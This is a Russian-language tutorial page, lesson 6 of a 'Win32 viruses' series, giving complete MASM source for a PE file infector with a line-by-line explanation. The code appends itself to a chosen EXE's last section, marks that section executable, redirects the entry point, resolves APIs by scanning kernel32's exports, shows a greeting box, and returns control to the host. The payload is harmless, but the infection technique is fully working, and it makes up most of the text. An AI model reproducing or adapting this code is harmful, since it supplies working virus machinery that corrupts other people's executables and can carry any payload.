Welcome to The Passion Of Code Laboratory!!!Статьи

"Win32-вирусы"
6. Обучите ее «хорошим манерам» : )

Автор:_follower / TPOC

 

В данном шаге внесем какую-то «полезность» в наш код. Пусть наша программа подсаживает к выбранной EXE – шке код, который научит ее «хорошим манерам», то есть перед запуском зараженная программа будет здороваться с пользователем.

Задача: Внесенный в выбранную программу наш код должен

1. получить управление;

2. выполнить основную задачу – поздороваться ;)

3. передать управление программе - носителю.

Пусть наша программа :

1. работает только с тем файлом, который мы ей укажем;

пусть в код выбранной программы вносится код, который выполнится до запуска программы носителя. Вносимый код включает
1. выполнение основной задачи;

2. передачу управления в файл-носитель.

386
.MODEL flat,stdcall
OPTION CASEMAP : NONE

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\masm32.inc


includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\masm32.lib


MIN_KERNEL_SEARCH_BASE EQU 070000000h
MAX_API_STRING_LENGTH EQU 150
VIRII_SIZE EQU ( OFFSET IGI_END - OFFSET IGI_START)
ALIGN_CORRECTION EQU 000001000h
IGI_TRADEMARK EQU ('IGI')
VIRII_R_SIZE EQU 000000200h
VIRII_V_SIZE EQU 000002000h
MAX EQU 255

.CONST
szError DB "Ошибка",0
szGetBaseErr DB "Ошибка в получении адреса kernel.dll",0
szCap DB ":) ",0

szCap_0 DB "CALL CreateFile is FAILED",0
szCap_1 DB "CALL GetFileSize is FAILED",0
szCap_2 DB "CALL GlobalAlloc is FAILED",0
szCap_3 DB "CALL ReadFile is FAILED",0

.DATA
filter db 'PE-executables (*.exe)',0,'*.exe',0,0
buffer db 255 dup (0)
about db 'Please Pick the Target File',0
about_f db 'Target File is ...',0
hFile DD 0
dwFsize DD 0
pMem DD 0
OpenStruct dd 76,0
dd 0
dd offset filter, 0,0,0, offset buffer, MAX, 0,0,0, offset about
dd OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_EXPLORER
dd 0, 0, 0, 0, 0
cBuff DB 120 DUP (0)
VarBuff db 0
.CODE
Main:
invoke GetOpenFileNameA, offset OpenStruct
.if eax==0
jmp _exit_
.endif
lea eax,offset buffer
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push EAX
push NULL
CALL MessageBox

;.............................................................
;.............................................................
;.............................................................
invoke CreateFile,offset buffer,\
GENERIC_WRITE or GENERIC_READ ,\;
FILE_SHARE_READ or FILE_SHARE_WRITE,\;
NULL,\
OPEN_EXISTING,\
FILE_ATTRIBUTE_NORMAL,\
NULL
.IF EAX == INVALID_HANDLE_VALUE
XOR EAX, EAX
INC EAX
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_0
push NULL
CALL MessageBox
JMP SkipFileInfection
.ENDIF
MOV hFile, EAX
PUSH 0
PUSH EAX
CALL GetFileSize
OR EAX, EAX
.IF ZERO?
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_1
push NULL
CALL MessageBox
ADD EAX, 2
JMP SkipFileAndClean1
.ENDIF
MOV dwFsize, EAX
ADD EAX, ALIGN_CORRECTION + VIRII_SIZE
PUSH EAX
PUSH GMEM_FIXED OR GMEM_ZEROINIT
CALL GlobalAlloc
OR EAX, EAX
.IF ZERO?
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_2
push NULL
CALL MessageBox
ADD EAX, 3
JMP SkipFileAndClean1
.ENDIF
MOV pMem, EAX
LEA EAX, OFFSET VarBuff
PUSH NULL
PUSH EAX
PUSH dwFsize
PUSH pMem
PUSH hFile
CALL ReadFile
.IF EAX==0
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_3
push NULL
CALL MessageBox

CALL GetLastError

push OFFSET cBuff
push eax
CALL dwtoa
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET cBuff
push NULL
CALL MessageBox
.ENDIF
;---- Поищем PE сигнатуру ----
MOV ESI, pMem
CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE
.IF !ZERO?
JMP SkipFileAndClean2
.ENDIF
ADD WORD PTR SI, [ESI+03Ch]
CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE
.IF !ZERO?
JMP SkipFileAndClean2
.ENDIF

ASSUME ESI : PTR IMAGE_NT_HEADERS
;----Найдем последнюю секцию----
MOV EDI, ESI
ADD EDI, 0F8h
MOV CX, [ESI].FileHeader.NumberOfSections
.WHILE CX != 1
DEC CX
ADD EDI, SIZEOF IMAGE_SECTION_HEADER
.ENDW
ASSUME EDI : PTR IMAGE_SECTION_HEADER

; WATCOM C/C++ компилчторы устанавливают Misc.VirtualSize в 0, исправим это
.IF [EDI].Misc.VirtualSize == 0
MOV EAX, [ESI].OptionalHeader.SizeOfImage
SUB EAX, [EDI].VirtualAddress
MOV [EDI].Misc.VirtualSize, EAX
.ENDIF

;----Копируем вирусній код в файл----
MOV EAX, [EDI].PointerToRawData
ADD EAX, [EDI].SizeOfRawData
ADD EAX, pMem

PUSH ESI
PUSH EDI
MOV ECX, VIRII_SIZE
MOV ESI, OFFSET IGI_START
XCHG EAX, EDI
REP MOVSB
POP EDI
POP ESI

;----Изменим NT -заголовок ----
;-> Изменим OptionalHeader.FileAlignment
MOV [ESI].OptionalHeader.FileAlignment, 0200h

;->Увеличим ImageBase
ADD [ESI].OptionalHeader.SizeOfImage, VIRII_V_SIZE

;-> Точка входа (EntryPoint)
; сохраним оригинальную EP
MOV EAX, [EDI].SizeOfRawData
ADD EAX, [EDI].PointerToRawData
ADD EAX, pMem
ADD EAX, (OFFSET Loader_Constants - OFFSET IGI_START)
MOV EBX, [ESI].OptionalHeader.AddressOfEntryPoint
ADD EBX, [ESI].OptionalHeader.ImageBase
;Сохраним -> mov dwOEPVA,ebx
PUSH EBX
POP [EAX]

; Изменим EP
MOV EAX, [EDI].VirtualAddress
ADD EAX, [EDI].SizeOfRawData
MOV [ESI].OptionalHeader.AddressOfEntryPoint, EAX

;->Установим "Товарный знак"
MOV [ESI].FileHeader.PointerToSymbolTable, IGI_TRADEMARK

;----Изменим информацию о секции----
ADD [EDI].Misc.VirtualSize, VIRII_V_SIZE
ADD [EDI].SizeOfRawData, VIRII_R_SIZE
; Секцию можно: читать, писать, выполнять
OR [EDI].Characteristics, 0E0000000h

;---- Пишем из памяти на диск----
;установим файловый указатель записи в 0
PUSH FILE_BEGIN

PUSH NULL
PUSH 0
PUSH hFile
CALL SetFilePointer

; Найдем новый размер файла-жертвы
MOV ECX, [EDI].PointerToRawData
ADD ECX, [EDI].SizeOfRawData

; Пишем на диск
PUSH NULL
LEA EAX, OFFSET VarBuff
PUSH EAX
PUSH ECX
PUSH pMem
PUSH hFile
CALL WriteFile
ASSUME EDI : NOTHING
ASSUME ESI : NOTHING
XOR EAX, EAX
SkipFileAndClean2:
; Освободим выделенную память
PUSH EAX
PUSH pMem
CALL GlobalFree
POP EAX
SkipFileAndClean1:
; Освободим уазатели
PUSH EAX
PUSH hFile
CALL CloseHandle
POP EAX
SkipFileInfection:
invoke ExitProcess,0
;.............................................................
IGI_START:
pushad
call delta
delta:
pop ebp
sub ebp, offset delta
push dword ptr [esp+20h]
call GetKernelBase
or EAX, EAX
jz OEPJump
mov [ebp+dwKernelBase], EAX

;.............................................................
lea eax, [ebp+OFFSET szLoadLibrary]
PUSH eax
PUSH [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_LoadLibrary], EAX

lea eax, [ebp+OFFSET szGetProcAddress]
push eax
push [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_GetProcAddress], EAX
lea eax, [ebp+OFFSET szUser32]
push eax
CALL [ebp+_LoadLibrary]
MOV [ebp+dwUserBase], EAX
lea eax, [ebp+OFFSET szMessageBox]
push eax
push [ebp+dwUserBase]
CALL GetProcAddr
MOV [ebp+_MessageBox], EAX
lea eax, [ebp+OFFSET szInfoCap]
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push 0
push eax
push 0
CALL [ebp+_MessageBox]
OEPJump:
MOV EAX, [EBP+dwOEPVA]
.IF EAX
MOV [ESP+01Ch], EAX
POPAD
JMP EAX
.ELSE
POPAD
RET
.ENDIF
GetKernelBase PROC USES EDI ESI, dwTopStack : DWORD
MOV EDI, dwTopStack
AND EDI, 0FFFF0000h
.WHILE TRUE
.IF WORD PTR [EDI] == IMAGE_DOS_SIGNATURE
MOV ESI, EDI
ADD ESI, [ESI+03Ch]
.IF DWORD PTR [ESI] == IMAGE_NT_SIGNATURE
.BREAK
.ENDIF
.ENDIF
ExceptCont:
SUB EDI, 010000h
.IF EDI < MIN_KERNEL_SEARCH_BASE
MOV EDI, 0BFF70000h
.BREAK
.ENDIF
.ENDW
XCHG EAX, EDI
RET
GetKernelBase ENDP

GetProcAddr PROC USES ESI EDI ECX EBX EDX, dwDllBase : DWORD, szApi : LPSTR
MOV ESI, dwDllBase
CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE
JNZ @@BadExit
ADD ESI, [ESI+03Ch]
CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE
JNZ @@BadExit

MOV EDI, szApi
MOV ECX, MAX_API_STRING_LENGTH
XOR AL, AL
REPNZ SCASB
MOV ECX, EDI
SUB ECX, szApi

MOV EDX, [ESI+078h]
ADD EDX, dwDllBase
ASSUME EDX : PTR IMAGE_EXPORT_DIRECTORY
MOV EBX, [EDX].AddressOfNames
ADD EBX, dwDllBase
XOR EAX, EAX
.REPEAT
MOV EDI, [EBX]
ADD EDI, dwDllBase
MOV ESI, szApi
PUSH ECX
REPZ CMPSB
.IF ZERO?
.BREAK
.ENDIF
POP ECX
ADD EBX, 4
INC EAX
.UNTIL EAX == [EDX].NumberOfNames
MOV ESI, [EDX].AddressOfNameOrdinals
ADD ESI, dwDllBase
PUSH EDX
MOV EBX, 2
XOR EDX, EDX
MUL EBX
ADD EAX, ESI
XOR ECX, ECX
MOV WORD PTR CX, [EAX]
POP EDX
MOV EDI, [EDX].AddressOfFunctions
XOR EDX, EDX
MOV EBX, 4
MOV EAX, ECX
MUL EBX
ADD EAX, dwDllBase
ADD EAX, EDI
MOV EAX, [EAX]
ADD EAX, dwDllBase
JMP @@ExitProc
ASSUME EDX : NOTHING
@@BadExit:
XOR EAX, EAX
@@ExitProc:
RET
GetProcAddr ENDP
Loader_Constants:
dwOEPVA dd 0
szLoadLibrary db "LoadLibraryA",0
szGetProcAddress db "GetProcAddress",0
szUser32 db "user32",0
szMessageBox db "MessageBoxA",0
szInfoCap db "Добрый день, уважаемый! ",0
_LoadLibrary dd 0
_GetProcAddress dd 0
_MessageBox dd 0

dwKernelBase dd 0
dwUserBase dd 0
_exit_:
;.............................................................
IGI_END:
end Main

Анализ:

Вся игра в данном случае будет разворачиваться на месте этих NOP- ов из 5-того урока.

С чем нам нужно определиться :

· что должно выполниться до запуска программы – носителя;

· какие функции необходимы для построения этого кода;

Итак, пусть весь наш вносимый код просто выводит MessageBox с приветствием.

Исходя из задачи видно что нужно будет:

1. Определять адрес kernell32.dll.

2. Определять адрес функции MessageBox().

· для этого необходимо определить адрес библиотеки user32.dll

так как функция MessageBox() хранится в ней. Проверим это с помощью программы PE View v3.0 [2.1]. Найдем на диске С: файл user.dll и просмотрим его с помощью этой программы.



Для того чтобы найти адрес MessageBox() из user32.dll, нужно ее (user32.dll)

загрузить с помощью функции LoadLibrary(). Далее взять из нее же, из user32.dll, адрес нашей MessageBox() с помощью функции GetProcAddress().

· выполнить MessageBox().

3. Передать управление программе-носителю.

Итак :

1. найти адрес двух dll - kernell32.dll и user32.dll;

2. найти адреса четырех функций :

· LoadLibrary()

· GetProcAddress()

· MessageBox()

Начнем :

1)
lea eax, [ebp+OFFSET szLoadLibrary]
PUSH eax
PUSH [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_LoadLibrary], EAX

lea eax, [ebp+OFFSET szGetProcAddress]
push eax
push [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_GetProcAddress], EAX

Это простой пункт. Здесь мы используя свою функцию поиска адресов нашли адреса нужных нам функций:

· LoadLibrary()

· GetProcAddress()

… и сохранили их.


2)
lea eax, [ebp+OFFSET szUser32]
push eax
CALL [ebp+_LoadLibrary]
MOV [ebp+dwUserBase], EAX
lea eax, [ebp+OFFSET szMessageBox]
push eax
push [ebp+dwUserBase]
CALL GetProcAddr
MOV [ebp+_MessageBox], EAX

Тут мы загружаем в адресное пространство нашего процесса библиотеку user32.dll и узнаем в ней адрес функции MessageBox().

3)
lea eax, [ebp+OFFSET szInfoCap]
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push 0
push eax
push 0
CALL [ebp+_MessageBox]

Вызываем функцию MessageBox() по найденному нами адресу. Далее передаем управление программе носителю


4)
pushad
call delta
delta:
pop ebp
sub ebp, offset delta
...
OEPJump:
MOV EAX, [EBP+dwOEPVA]
.IF EAX
MOV [ESP+01Ch], EAX
POPAD
JMP EAX
.ELSE
POPAD
RET
.ENDIF

Здесь мы применили большую степень защищенности. Тут мы перед выполнением процедуры поиска дельта смещения, сохранили все регистры с помощью команды pushad.

Далее, при передаче управления программе-носителю, мы восстанавливаем состояние всех регистров. Но, чтобы не терять адрес возврата в EAX, мы перед выполнением popad, подкорректируем в стеке старое содержимое EAX. Регистр EAX в стеке хранится по смещению ESP+01Ch, туда-то и запишем новое значение EAX. Восстановим регистры, и передадим управление программе-носителю по адресу в EAX.

Перечень используемого программного обеспечения :

[2.1] - PEview v3.0 (jamk@mail.ru)

Исходник

 

[C] _follower / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 4 августа 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)